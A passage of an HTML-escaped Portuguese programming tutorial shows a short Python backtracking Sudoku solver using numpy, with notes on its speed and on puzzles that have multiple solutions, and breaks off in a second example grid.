class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;quadrant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is_valid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndenumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possibility&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;__main__&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                       &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reshape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solution&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;solution&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E assim, com menos de 50 linhas e um código facilmente legível, conseguimos resolver o problema do sudoku! De fato, não é uma implementação leve. A função solve é chamada 4632 vezes! Além disso, a resolução demora um pouco menos de 250 ms. Sim, provavelmente seria mais rápido implementar as mesmas funções em C. Mas será que é realmente necessário? Bem, vai depender de para quem você pergunta.&lt;/p&gt;

&lt;h1 id=&quot;extras&quot;&gt;Extras&lt;/h1&gt;

&lt;p&gt;Você deve estar se perguntando porque utilizamos uma lista para adicionar as soluções. Isso é porque pode existir mais de uma solução por sudoku. Vamos remover dois número do sudoku anterior para ver o que acontece:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sudoku&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
